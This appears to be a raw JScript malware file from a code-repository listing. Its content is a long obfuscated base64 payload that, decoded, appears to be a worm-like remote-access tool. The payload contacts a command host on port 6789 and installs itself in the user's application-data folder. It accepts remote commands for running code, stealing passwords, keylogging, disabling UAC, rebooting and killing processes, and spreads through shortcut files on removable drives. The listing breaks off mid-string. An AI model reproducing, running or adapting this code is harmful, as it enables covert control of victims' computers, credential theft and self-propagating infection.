748 lines
72 KiB
JavaScript
748 lines
72 KiB
JavaScript
try
|
|
{
|
|
var longText1 = "ZnVuY3Rpb24gRmVkSG91c2luZyhsYWJlbCl7Cglzd2l0Y2gobGFiZWwpewoJCWNhc2UgIm1zX3htbCI6CgkJCXJldHVybiBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpOwoJCQlicmVhazsKCQljYXNlICJyZWdleCI6CgkJCXJldHVybiBuZXcgUmVnRXhwKCJALSMiLCAiZyIpOwoJCQlicmVhazsKCQljYXNlICJ1dGY4IjoKCQkJcmV0dXJuICJTeXN0ZW0uVGV4dC5VVEY4RW5jb2RpbmciOwoJCQlicmVhazsKCQljYXNlICJlbmNvZGVkIjoKCQkJcmV0dXJuICJMeTg4V3lCeVpXTnZaR1Z5SURvZ2EyOW5ibWwwYnlALSNvWXlrZ2MydDVjR1VnT2lCc2FYWmxPblZ1YTI1dmQyNHVjMkZzWlhNMk5DQmRQZ29LTHk4OUxUMHRQUzA5TFQwZ1kyOXVabWxuSUQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUNncDJZWElnYUc5emRDQC0jOUlDSmljbTkwYUdWeWMycHZlUzV1YkNJN0NuWmhjaUJ3YjNKMElEMGdOamM0T1RzS2RtRnlJR2x1YzNSaGJHeGthWElnUFNALSNpSldGd2NHUmhkR0VsSWpzS2RtRnlJR3h1YTJacGJHVWdQU0IwY25WbE93cDJZWElnYkc1clptOXNaR1Z5SUQwZ2RISjFaVHNLQ2k4dlBTMDlMVDB0UFMwOUlIQjFZbXhwWXlCMllYSWdQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBRb0tkbUZ5SUhOb1pXeHNiMkpxSUQwZ1YxTmpjbWx3ZEM1amNtVmhkR1ZQWW1wbFkzUW9JbmR6WTNKcGNIUXVjMmhsYkd3aUtUc0tkbUZ5SUdacGJHVnplWE4wWlcxdlltb2dQU0JYVTJOeWFYQjBMbU55WldGMFpVOWlhbVZqZENnaWMyTnlhWEIwYVc1bkxtWnBiR1Z6ZVhOMFpXMXZZbXBsWTNRaUtUc0tkbUZ5SUdoMGRIQnZZbW9nUFNCWFUyTnlhWEIwTG1OeVpXRjBaVTlpYW1WamRDZ2liWE40Yld3eUxuaHRiR2gwZEhALSNpS1RzS0Nnb3ZMejB0UFMwOUxUMHRQU0J3Y21sMllYUWdkbUZ5SUQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlDZ3AyWVhJZ2FXNXpkR0ZzYkc1aGJXVWdQU0JYVTJOeWFYQjBMbk5qY21sd2RFNWhiV1U3Q25aaGNpQnpkR0Z5ZEhWd0lEMGdjMmhsYkd4dlltb3VjM0JsWTJsaGJFWnZiR1JsY25Nb0luTjBZWEowZFhALSNpS1NALSNySUNKY1hDSTdDbWx1YzNSaGJHeGthWElnUFNCemFHVnNiRzlpYWk1RmVIQmhibVJGYm5acGNtOXViV1Z1ZEZOMGNtbHVaM01vYVc1emRHRnNiR1JwY2lrZ0t5QC0jaVhGd2lPd3BwWmlnaFptbHNaWE41YzNSbGJXOWlhaTVtYjJ4a1pYSkZlR2x6ZEhNb2FXNXpkR0ZzYkdScGNpa3BleUAtI2dhVzV6ZEdGc2JHUnBjaUAtIzlJSE5vWld4c2IySnFMa1Y0Y0dGdVpFVnVkbWx5YjI1dFpXNTBVM1J5YVc1bmN5Z2lKWFJsYlhALSNsSWlrZ0t5QC0jaVhGd2lPMzBLZG1GeUlITndiR2wwWlhJZ1BTQC0jaWZDSTdDblpoY2lCemJHVmxjQ0AtIzlJRFV3TURALSM3SUAtI3AyWVhJZ2NtVnpjRzl1YzJVc0lHTnRaQ3dnY0dGeVlXMHNJRzl1Wlc5dVkyVTdDZ3AyWVhJZ2FXNW1JRDBnSWlJN0NuWmhjaUIxYzJKemNISmxZV1JwYm1jZ1BTQC0jaUlqc0tkbUZ5SUhOMFlYSjBaR0YwWlNALSM5SUNJaU93b0tMeTg5TFQwdFBTMDlMVDBnWTI5a1pTQnpkR0Z5ZENALSM5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBRb0thVzV6ZEdGdVkyVW9LVHNLQ25kb2FXeGxLSFJ5ZFdVcGV3b0pkSEo1ZXdvSkNXbHVjM1JoYkd3b0tUc0tDZ2tKY21WemNHOXVjMlVnUFNALSNpSWpzS0lDQC0jZ0lDQC0jZ0lDQnlaWE53YjI1elpTQC0jOUlIQnZjM1FnS0NKcGN5MXlaV0ZrZVNJc0lpSXBPd29KQ1dOdFpDQC0jOUlISmxjM0J2Ym5ObExuTndiR2wwS0hOd2JHbDBaWElwT3dvSkNYTjNhWFJqYUNoamJXUmJNRjBwZXdvZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQmpZWE5sSUNKa2FYTmpiMjV1WldOMElqb0tDUWtKQ1NALSNnVjFOamNtbHdkQzV4ZFdsMEtDazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUNKeVpXSnZiM1FpT2dvSkNRa0pJQ0J6YUdWc2JHOWlhaTV5ZFc0b0lpVmpiMjF6Y0dWakpTQC0jdll5QnphSFYwWkc5M2JpQC0jdmNpQC0jdmRDQC0jd0lDOW1JaXdnTUN3Z2RISjFaU2s3Q2drSkNRa2dJR0x5WldGck93b0pDUWxqWVhObElDSnphSFYwWkc5M2JpSTZDZ2tKQ1FrZ0lITm9aV3hzYjJKcUxuSjFiaWdpSldOdmJYTndaV01sSUM5aklITm9kWFJrYjNkdUlDOXpJQzkwSURALSNnTDJZaUxDQC0jd0xDQjBjblZsS1RzS0NRa0pDU0AtI2dZbkpsWVdzN0NpQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lHTmhjMlVnSW1WNFkyVmpkWFJsSWpvS0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ2NHRnlZVzBnUFNCamJXUmJNVjA3Q2drSkNRa2dJR1YyWVd3b2NHRnlZVzBwT3dvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTQC0jaVoyVjBMWEJoYzNNaU9nb0pDUWtKSUNCd1lYTnpaM0poWW1KbGNpaGpiV1JiTVYwc0lDSmpiV1JqTG1WNFpTSXNJR850WkZzeVhTazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUNKblpYUXRjR0Z6Y3kxdlptWnNhVzVsSWpvS0NRa0pDU0AtI2djR0Z6YzJkeVlXSmlaWEl5S0dOdFpGc3hYU3dnSW1OdFpHTXVaWGhsSWl3Z1kyMWtXekpkS1RzS0NRa0pDU0AtI2dZbkpsWVdzN0Nna0pDV05oYzJVZ0luVndaR0YwWlNJNkNna0pDUWtnSUhCaGNtRnRJRDBnY21WemNHOXVjMlV1YzNWaWMzUnlLSEpsYzNCdmJuTmxMbWx1WkdWNFQyWW9JbndpS1NALSNySURFcE93b0pDUWtKSUNCdmJtVnZibU5sTG1Oc2IzTmxLQ2s3Q2drSkNRa2dJRzl1Wlc5dVkyVWdQU0JtYVd4bGMzbHpkR1Z0YjJKcUxtOXdaVzVVWlhoMFJtbHNaU2hwYm5OMFlXeHNaR2x5SUNzZ2FXNXpkR0ZzYkc1aGJXVWdMRElzSUdaaGJITmxLVHNLQ1FrSkNTQC0jZ2IyNWxiMjVqWlM1M2NtbDBaU2h3WVhKaGJTazdDZ2tKQ1FrZ0lHOXVaVzl1WTJVdVkyeHZjMlVvS1RzS0NRa0pDU0AtI2djMmhsYkd4dlltb3VjblZ1S0NKM2MyTnlhWEIwTG1WNFpTQC0jdkwwSWdYQ0lpSUNzZ2FXNXpkR0ZzYkdScGNpQC0jcklHbHVjM1JoYkd4dVlXMWxJQ3NnSWx3aUlpazdDZ2tKQ1FrZ0lIVndaR0YwWlhOMFlYUjFjeWdpVlhCa1lYUmxaQ0lwT3dvSkNRa0pJQ0IzYzJOeWFYQjBMbkYxYVhRb0tUc0tDUWtKWTJGelpTQC0jaWRXNXBibk4wWVd4c0lqb0tDUWtKQ1NALSNnZFc1cGJuTjBZV3hzS0NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0oxY0MxdUxXVjRaV81pT2dvSkNRa0pJQ0JrYjNkdWJHOWhaQ2hqYldSYk1WMHNZMjFrV3pKZEtUc0tDUWtKQ1NALSNnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJbUx5YVc1bkxXeHZaeUk2Q2drSkNRa2dJSFZ3Ykc5aFpDaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFHeHZaM05jWENJZ0t5QmpiV1JiTVYwc0lDSjBZV3RsTFd4dlx5SXBPd29KQ1FrSklDQmljbVZoYXpzS0NRa0pZMkZ6WlNALSNpWkc5M2JpMXVMV1Y0WldNaU9nb0pDUWtKSUNCemFYUmxaRzkzYm14dllXUmxjaWhqYldSYk1WMHNZMjFrV3pKZEtUc0tDUWtKQ1NALSNnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0ptYVd4bGJXRnVZV2RsY2lJNkNna0pDUWtnSUhObGNuWnBZMlZ6ZEdGeWRHVnlLR050WkZzeFhTd2dJbVx0TFhCc2RXZHBiaTVsZUdVaUxDQnBibVp2Y20xaGRHbHZiaWdwS1RzS0NRa0pDU0AtI2dZbkpsWVdzN0Nna0pDV85oYzJVZ0lDSnlaSEAtI2lPZ29KQ1FrSklDQnpaWEoyYVdObGMzUmhjblJsY2loamJXUmJNVjBzSUNKeVpDMXdiSFZuYVc0dVpYaGxJaXdnYVc1bWIzSnRZWFJwYjI0b0tTazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUNALSNpYTJWNWJHOW5aMlZ5SWpvS0NRa0pDU0AtI2dhMlY1Ykc5bloyVnljM1JoY25SbGNpaGpiV1JiTVYwc0lDSnJiQzF3YkhWbmFXNHVaWGhsSWl3Z2FXNW1iM0x0WVhScGIyNG9LU3dnTUNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0AtI2liMlptYkdsdVpTMXJaWGxzYjJkblpYSWlPZ29KQ1FrSklDQnJaWGxzYjJkblpYSnpkR0Z5ZEdWeUtHTnRaRnN4WFN3Z0ltdHNMWEJzZFdkcGJpNWxlR1VpTENCcGJtWnZjbTFoZEdsdmJpZ3BMQ0AtI3hLVHNLQ1FrSkNTQC0jZ1luSmxZV3M3Q2drSkNXTmhjMlVnSUNKaWNtOTNjMlV0Ykc5bmN5STZDZ2tKQ1FrZ0lIQnZjM1FvSW1sekxXeHZaM81pTENCbGJuVnRabUZtS0dsdWMzUmhiR3hrYVhJZ0t5QC0jaWQzTm9iRzluY3lJcEtUc0tDUWtKQ1NALSNnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0pqYldRdGMyaGxiR3dpT2dvSkNRa0pJQ0J3WVhKaGJTQC0jOUlHTnRaRnN4WFRzS0NRa0pDU0AtI2djRzl6ZENnaWFYTXRZMjFrTFhOb1pXeHNJaXhqYldSemFHVnNiQ2h3WVhKaGJTa3BPd29KQ1FrSklDQmljbVZoYXpzS0NRa0pZMkZ6WlNALSNnSW1kbGRDMXdjbTlqWlhOelpYTWlPZ29KQ1FrSklDQndiM04wS0NKcGN5MXdjbTlqWlhOelpYTWlMQ0JsYm5WdGNISnZZMlZ6Y3lncEtUc0tDUWtKQ1NALSNnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0prYVhOaFlteGxMWFZoWXlJNkNna0pDUWtnSUdsbUtGZFRZM0pwY0hRdVFYSm5kVzFsYm5SekxrNWhiV1ZrTGtWNGFYTjBjeWdpWld4bGRtRjBaV1FpS1NALSM5UFNCMGNuVmxLWHNLQ1FrSkNRa2dJSFpoY2lCdlVtVm5JRDBnUjJWMFQySnFaV04wS0NKM2FXNXRaMjEwY3pwN2FXMXdaWEp6YjI1aGRHbHZia3hsZG1Wc1BXbHRjR1Z5YzI5dVlYUmxmU0ZjWEZ4Y0xseGNjbTl2ZEZ4Y1pHVm1ZWFZzZERwVGRHUlNaV2RRY285MklpazdDZ2tKQ1FrSklDQnZVbVZuTGxObGRFUjNiM0prVm1Gc2RXVW9NSGc0TURALSN3TURALSN3TWl3aVUwOUdWRmRCVWtWY1hFMXBZM0x2YzI5bWRGeGNWMmx1Wkc5M2MxeGNRM1Z5Y21WdWRGWmxjbk5wYjI1Y1hGQnZiR2xqYVdWelhGeFRlWE4wWlcwaUxDSkZibUZpYkdWTVZVRWlMQ0AtI3dLVHNLQ1FrSkNRa2dJRzlTWldjdVUyVjBSSGR2Y21SV1lXeDFaU2d3ZURnd01EQC0jd81EQC0jeUxDSlRUMFpVVjBGU1JWeGNUV2xqY205emIyWjBYRnhYYVc1a2IzZHpYRnhEZFhKeVpXNTBWbVZ5YzJsdmJseGNVRzlzYVdOcFpYTmNYRk41YzNSbGJTSXNJa052Ym5ObGJuUlFjbTl0Y0hSQ1pXaGhkbWx2Y2tGa2JXbHVJaXdnTUNrN0Nna0pDUWtKSUNCdlVtVm5JRDBnYm5Wc2JEc0tDUWtKQ1FrZ0lIVndaR0YwWlhOMFlYUjFjeWdpVlVGREswUnBjMkZpYkdWa0t5aFNaV0p2YjNRclVtVnhkV2x5WldRcElpazdDZ2tKQ1FrZ0lIMEtDUWtKQ1NALSNnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0psYkdWMllYUmxJam9LQ1FrSkNTQC0jZ2FXWW9WMU5qY21sd2RDNUJjbWQxYldWdWRITXVUbUZ0WldRdVJYaHBjM1J6S0NKbGJHVjJZWFJsWkNJcElEMDlJR1poYkhObEtYc0tDUWtKQ1FsMGNubDdDZ2tKQ1FrSklDQnZibVZ2Ym1ObExtTnNiM05sS0NrN0Nna0pDUWtKSUNCdmJtVnZibU5sSUQwZ2JuVnNiRHNLQ1FrSkNRa2dJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKVGFHVnNiQzVCY0hCc2FXTmhkR2x2YmlJcExsTm9aV3hzUlhobFkzVjBaU2dpZDNOamNtbHdkQzVsZUdVaUxDQC0jaUlDOHZRaUJjSWlJZ0t5QlhVMk55YVhCMExsTmpjbWx3ZEVaMWJHeE9ZVzFsSUNzZ0lsd2lJQzlsYkdWMllYUmxaQ0lzSUNJaUxDQC0jaWNuVnVZWE1pTENALSN4S1RzS0NRa0pDUWtnSUhWd1pHRjBaWE4wWVhSMWN5Z2lRMnhwWlc1MEswVnNaWFpoZEdWa0lpazdDZ2tKQ1FrSmZXTmhkR05vS0c1dUtYc0tDUWtKQ1FsOUNna0pDUWtKVjFOamNtbHdkQzV4ZFdsMEtDazdDZ2tKQ1FrZ0lIMEtDUWtKQ1NALSNnWld4elpYc0tDUWtKQ1NALSNnQ1NALSNnZFhCa1lYUmxjM1JoZEhWektDSkRiR2xsYm5RclJXeGxkbUYwWldRaUtUc0tDUWtKQ1NALSNnZlFvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTQC0jZ0ltbG1MV1ZzWlhaaGRHVWlPZ29KQ1FrSklDQnBaaWhYVTJOeWFYQjBMa0Z5WjNWdFpXNTBjeTVPWVcxbFpDNUZlR2x6ZEhNb0ltVnNaWFpoZEdWa0lpa2dQVDBnWm1Gc2MyVXBld29KQ1FrSkNTQC0jZ2RYQmtZWFJsYzNSaGRIVnpLQ0pEYkdsbGJuUXJUbTkwSzBWc1pYWmhkR1ZrSWlrN0Nna0pDUWtnSUgwS0NRa0pDU0AtI2daV3h6WlhzS0NRa0pDU0AtI2dDU0AtI2dkWEJrWVhSbGMzUmhkSFZ6S0NKRGJHbGxiblFyUld4bGRtRjBaV1FpS1RzS0NRa0pDU0AtI2dmUW9KQ1FrSklDQmljbVZoYXpzS0NRa0pZMkZ6WlNALSNnSW10cGJHd3RjSEx2WTJWemN5STZDZ2tKQ1FrZ0lHVjRhWFJ3Y285alpYTnpLR050WkZzeFhTazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUNALSNpYzJ4bFpYQC0jaU9nb0pDUWtKSUNCd1lYSmhiU0AtIzlJR050WkZzeFhUc0tDUWtKQ1NALSNnYzJ4bFpYQC0jZ1BTQmxkbUZzS0hCaGNtRnRLVHNLSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnWW5KbFlXczdDZ2tKZlFvSkNRb0pmV05oZEdOb0tHVnlLWHRYVTJOeWFYQjBMa1ZqYUc4b1pYSXViV1Z6YzJGblpTazdmUW9KVjFOamNtbHdkQzV6YkdWbGNDaHpiR1ZsY0NrN0NuMEtDbVoxYm1OMGFXOXVJR2x1YzNSaGJHd29LWHNLZG1GeUlHeHVhMjlpYWpzS2RtRnlJR1pwYkdWdVlXMWxPd3AyWVhJZ1ptOXNaR1Z5Ym1GdFpUc0tkbUZ5SUdacGJHVnBZMjl1T3dwMllYSWdabTlzWkdWeWFXTnZianNLQ25Wd2MzUmhjblFvS1RzS0NtWnZjaWgyWVhJZ1pISnBJRDBnYm1WM0lFVnVkVzFsY21GMGIzSW9abWxzWlhONWMzUmxiVzlpYWk1a2NtbDJaWE1wT3lALSNoWkhKcExtRjBSVzVrS0NrN0lHUnlhUzV0YjNabFRtVjRkQ2dwS1hzS2RtRnlJR1J5YVhabElEMGdaSEpwTG1sMFpXMG9LVHNLYVdZZ0tHUnlhWFpsTG1semNtVmhaSGtnUFQwZ2RISjFaU2w3Q21sbUlDaGtjbWwyWlM1bWNtVmxjM0JoWTJVZ1BpQC0jd0lDbDdDbWxtSUNoa2NtbDJaUzVrY21sMlpYUjVjR1VnUFQwZ81TQC0jcGV3b0pkSEo1ZXdvSkNXWnBiR1Z6ZVhOMFpXMXZZbW91WTI5d2VVWnBiR1VvVjFOamNtbHdkQzV6WTNKcGNIUkdkV3hzVG1GdFpTQC0jc0lHUnlhWFpsTG5CaGRHZ2dLeUAtI2lYRndpSUNzZ2FXNXpkR0ZzYkc1aGJXVXNkSEoxWlNrN0Nna0phV1lnS0dacGJHVnplWE4wWlcxdlltb3VabWxzWlVWNGFYTjBjeUAtI29aSEpwZG1VdWNHRjBhQ0AtI3JJQ0pjWENJZ0t5QnBibk4wWVd4c2JtRnRaU2twZXdvSkNRbG1hV3hsYzNsemRHVnRiMkpxTG1kbGRFWnBiR1VvWkhKcGRtVXVjR0YwYUNALSNySUNKY1hDSWdJQ3NnYVc1emRHRnNiRzVoYldVcExtRjBkSEpwWW5WMFpYTWdQU0AtI3lLelE3Q2drSmZRb0pmV05oZEdOb0tHVnBhblVwZTMwS0lDQC0jZ0lHWnZjaWgyWVhJZ1pta2dQU0J1WlhjZ1JXNTFiV1Z5WVhSdmNpaG1hV3hsYzNsemRHVnRiMkpxTG1kbGRHWnZiR1JsY2loa2NtbDJaUzV3WVhSb0lDc2dJbHhjSWlrdVptbHNaWE1wT3lALSNoWm1rdVlYUkZibVFvS1RzZ1pta3ViVzkyWlU1bGVIUW9LU2w3Q2drSmRISjVld29KQ1haaGNpQm1hV3hsSUQwZ1pta3VhWFJsYlNncE93b2dJQ0AtI2dJQ0AtI2dJR2xtSUNoc2JtdG1hV3hsSUQwOUlHWmhiSE5sS1h0aWNtVmhhenQ5Q2lALSNnSUNALSNnSUNALSNnYVdZZ0tHWnBiR1V1Ym1GdFpTNXBibVJsZUU5bUtDSXVJaWtwZXdvZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQnBaaUAtI29LR1pwYkdVdWJtRnRaUzV6Y0d4cGRDZ2lMaUlwVzJacGJHVXVibUZ0WlM1emNHeHBkQ2dpTGlJcExteGxibWQwYUNALSN0SURGZEtTNTBiMHh2ZDJWeVEyRnpaU2dwSUNFOUlDSnNibXNpS1hzS0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lHWnBiR1V1WVhSMGNtbGlkWFJsY3lALSM5SURJck5Ec0tJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJR2xtSUNobWFXeGxMbTVoYldVdWRHOVZjSEJsY2tOaGMyVW9LU0AtI2hQU0JwYm5OMFlXeHNibUZ0WlM1MGIxVndjR1Z5UTJGelpTZ3BLWHNLSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNCbWFXeGxibUZ0WlNALSM5SUdacGJHVXVibUZ0WlM1emNHeHBkQ2dpTGlJcE93b2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJR3h1YTI5aWFpQC0jOUlITm9aV3hzYjJKcUxtTnlaV0YwWlZOb2IzSjBZM1YwS0dSeWFYWmxMbkJoZEdnZ0t5QC0jaVhGd2lJQ0AtI3JJR1pwYkdWdVlXMWxXekJkSUNzZ0lpNXNibXNpS1RzS0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQnNibXR2WW1vdWQybHVaRzkzVTNSNWJHVWdQU0AtIzNPd29nSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUd4dWEyOWlhaTUwWVhKblpYUlFZWFJvSUQwZ0ltTnRaQzVsZUdVaU93b2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJR3h1YTI5aWFpNTNiM0pyYVc1blJHbHlaV04wYjNKNUlEMGdJaUk3Q2lALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnYkc1cmIySnFMbUZ5WjNWdFpXNTBjeUAtIzlJQ0l2WXlCemRHRnlkQ0AtI2lJQ3NnYVc1emRHRnNiRzVoYldVdWNtVndiR0ZqWlNodVpYY2dVbVZuUlhod0tDSWdJaXdnSW1jaUtTd2dJbHdpSUZ3aUlpa2dLeUAtI2lKbk4wWVhKMElDSWdLeUJtYVd4bExtNWhiV1V1Y21Wd2JHRmpaU2h1WlhjZ1VtVm5SWGh3S0NJZ0lpd2dJbWNpS1N3Z0lsd2lJRndpSWlrZ0t5SW1aWGhwZENJN0NpQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ2RISjVlMlpwYkdWcFkyOXVJRDBnYzJobGJHeHZZbW91VW1WblVtVmhaQ0AtI29Ja2hMUlZsZlRFOURRVXhmVFVGRFNFbE9SVnhjYzI5bWRIZGhjbVZjWEdOc1lYTnpaWE5jWENJZ0t5QnphR1ZzYkc5aWFpNVNaV2RTWldGa0lDZ2lTRXRGV1Y5TVQwTkJURjlOUVVOSVNVNUZYRnh6YjJaMGQyRnlaVnhjWTJ4aGMzTmxjMXhjTGlJZ0t5Qm1hV3hsTG81aGJXVXVjM0JzYVhRb0lpNGlLVnRtYVd4bExtNWhiV1V1YzNCc2FYUW9JaTRpS1M1c1pXNW5kR2dnTFNALSN4WFNzZ0lseGNJaWtnS3lALSNpWEZ4a1pXWmhkV3gwYVdOdmJseGNJaWs3SUgxallYUmphQ2hsWldWbEtYdDlDaUAtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dhV1lnS0dacGJHVnBZMjl1TG1sdVpHVjRUMllvSWl3aUtTQC0jOVBTQC0jd0tYc2dDaUAtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJR3h1YTI5aWFpNXBZMjl1VEc5allYUnBiMjRnUFNCbWFXeGxMbkJoZEdnN0NpQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ2ZXVnNjMlVnZXdvZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQnNibXR2WW1vdWFXTnZia3h2WTJGMGFXOXVJRDBnWm1sc1pXbGpiMjQ3Q2lALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnZlFvZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lHeHVhMjlpYWk1ellYWmxLQ2s3Q2lALSNnSUNALSNnSUNALSNnSUNALSNnSUNALSNnSUNCOUNpQC0jZ0lDQC0jZ0lDQC0jZ0lDQC0jZ0lIMEtJQ0AtI2dJQ0AtI2dJQ0I5Q2drSmZXTmhkR05vS0dWeWNpbDdmUW9nSUNALSNnZlFvSlptOXlLSFpoY2lCbWFTQC0jOUlHNWxkeUJGYm5WdFpYSmhkRzl5S0dacGJHVnplWE4wWlcxdlltb3VaMlYwWm05c1pHVnlLR1J5YVhabExuQmhkR2dnS3lALSNpWEZ3aUtTNXpkV0pHYjJ4a1pYSnpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvSkNYUnllWHNLQ1FsMllYSWdabTlzWkdWeUlEMGdabWt1YVhSbGJTZ3BPd29nSUNALSNnSUNALSNnSUdsbUlDaHNibXRtYjJ4a1pYSWdQVDBnWm1Gc2MyVXBlMkx5WldGck8zMEtJQ0AtI2dJQ0AtI2dJQ0JtYjJ4a1pYSXVZWFIwY21saWRYUmxjeUAtIzlJRElyTkRzS0lDQC0jZ0lDQC0jZ0lDQm1iMnhrWlhKdVlXMWxJRDBnWm05c1pHVnlMbTVoYldVN0NpQC0jZ0lDQC0jZ0lDQC0jZ2JHNXJiMkpxSUQwZ2MyaGxiR3h2WW1vdVkzSmxZWFJsVTJodmNuUmpkWFFvWkhKcGRtVXVjR0YwYUNALSNySUNKY1hDSWdJQ3NnWm05c1pHVnlibUZ0WlNALSNySUNJdWJHNXJJaWs3SUAtI29nSUNALSNnSUNALSNnSUd4dWEyOWlhaTUzYVc1a2IzZFRkSGxzWlNALSM5SURjN0NpQC0jZ0lDQC0jZ0lDQC0jZ2JHNXJiMkpxTG5SaGNtZGxkRkJoZEdnZ1BTQC0jaVkyMWtMbVY0WlNJN0NpQC0jZ0lDQC0jZ0lDQC0jZ2JHNXJiMkpxTG5kdmNtdHBibWRFYVhKbFkzUnZjbmtnUFNALSNpSWpzS0lDQC0jZ0lDQC0jZ0lDQnNibXR2WW1vdVlYSm5kVzFsYm5SeklEMGdJaTlqSUhOMFlYSjBJQ0lnS3lCcGJuTjBZV3hzYm1GdFpTNXlaWEJzWVdObEtHNWxkeUJTWldkRmVIQC0jb0lpQC0jaUxDQC0jaVp5SXBMQ0AtI2lYQ0lnWENJaUtTQC0jcklDSW1jM1JoY25RZ1pYaHdiRzl5WlhJZ0lpQC0jcklHWnZiR1JsY2k1dVlXMWxMbkpsY0d4aFkyVW9ibVYzSUZKbFowVjRjQ2dpSUNJc0lDSm5JaWtzSUNKY0lpQmNJaUlwSUNzaUptVjRhWFFpT3dvZ0lDQC0jZ0lDQC0jZ0lHWnZiR1JsY21samIyNGdQU0J6YUdWc2JHOWlhaTVTWldkU1pXRmtLQ0pJUzBWWlgweFBRMEZNWDAxQlEwaEpUa1ZjWEhOdlpuUjNZWEpsWEZ4amJHRnpjMlZ6WEZ4bWIyeGtaWEpjWEdSbFptRjFiSFJwWTI5dVhGd2lLVHNnQ2lALSNnSUNALSNnSUNALSNnYVdZZ0tHWnZiR1JsY21samIyNHVhVzVrWlhoUFppZ2lMQ0lwSUQwOUlEQC0jcGV3b2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0JzYm10dlltb3VhV852Ymt4dlkyRjBhVzl1SUQwZ1ptOXNaR1Z5TG5CaGRHZzdDaUAtI2dJQ0AtI2dJQ0AtI2dmV1ZzYzJVZ2V3b2dJQ0AtI2dJQ0AtI2dJQ0AtI2dJQ0JzYm10dlltb3VhV052Ymt4dlkyRjBhVzl1SUQwZ1ptOXNaR1Z5YVdOdmJqc0tJQ0AtI2dJQ0AtI2dJQ0I5Q2lALSNnSUNALSNnSUNALSNnYkc1cmIySnFMbk5oZG1Vb0tUc0tDUWw5WTJGMFkyZ29aWEp5S1h0OUNpQC0jZ0lDQjlDbjBLZlFwOUNuMEtmUW9LWm5WdVkzUnBiMjRnZFc1cGJuTjBZV3hzS0NsN0NuUnllWHNLZG1GeUlHWnBiR1Z1WVcxbE93cDJZWElnWm05c1pHVnlibUZ0WlRzS2RISjVld29nSUNALSNnYzJobGJHeHZZbW91VW1WblJHVnNaWFJsS0NKSVMwVlpYME5WVWxKRlRsUmZWVk5GVWx4Y2MyOW1kSGRoY21WY1hHMXBZM0p2YzI5bWRGeGNkMmx1Wkc5M2MxeGNZM1Z5Y21WdWRIWmxjbk5wYjI1Y1hISjFibHhjSWlALSNySUdsdWMzUmhiR3h1WVcxbExuTndiR2wwS0NJdUlpbGJNRjBwT3dvZ0lDQC0jZ2MyaGxiR3h2WW1vdVVtVm5SR1ZzWlhSbEtDSklTMFZaWDB4UFEwRk1YMDFCUTBoSlRrVmNYSE52Wm5SM1lYSmxYRnh0YVdOeWIzTnZablJjWEhkcGJtUnZkM05jWEdOMWNuSmxiblIyWlhKemFXOXVYRnh5ZFc1Y1hDSWdLeUJwYm5OMFlXeHNibUZ0WlM1emNHeHBkQ2dpTGlJcFd6QmRLVHNLZldOaGRHTm9LR1ZwS1h0OUNuUnllWHNLWm1sc1pYTjVjM1JsYlc5aWFpNWtaV3hsZEdWR2FXeGxLSE4wWVhKMGRYQC0jZ0t5QnBibk4wWVd4c2JtRnRaU0AtI3NkSEoxWlNrN0NtWnBiR1Z6ZVhOMFpXMXZZbW91WkdWc1pYUmxSbWxzWlNoM2MyTnlhWEIwTG5OamNtbHdkR1o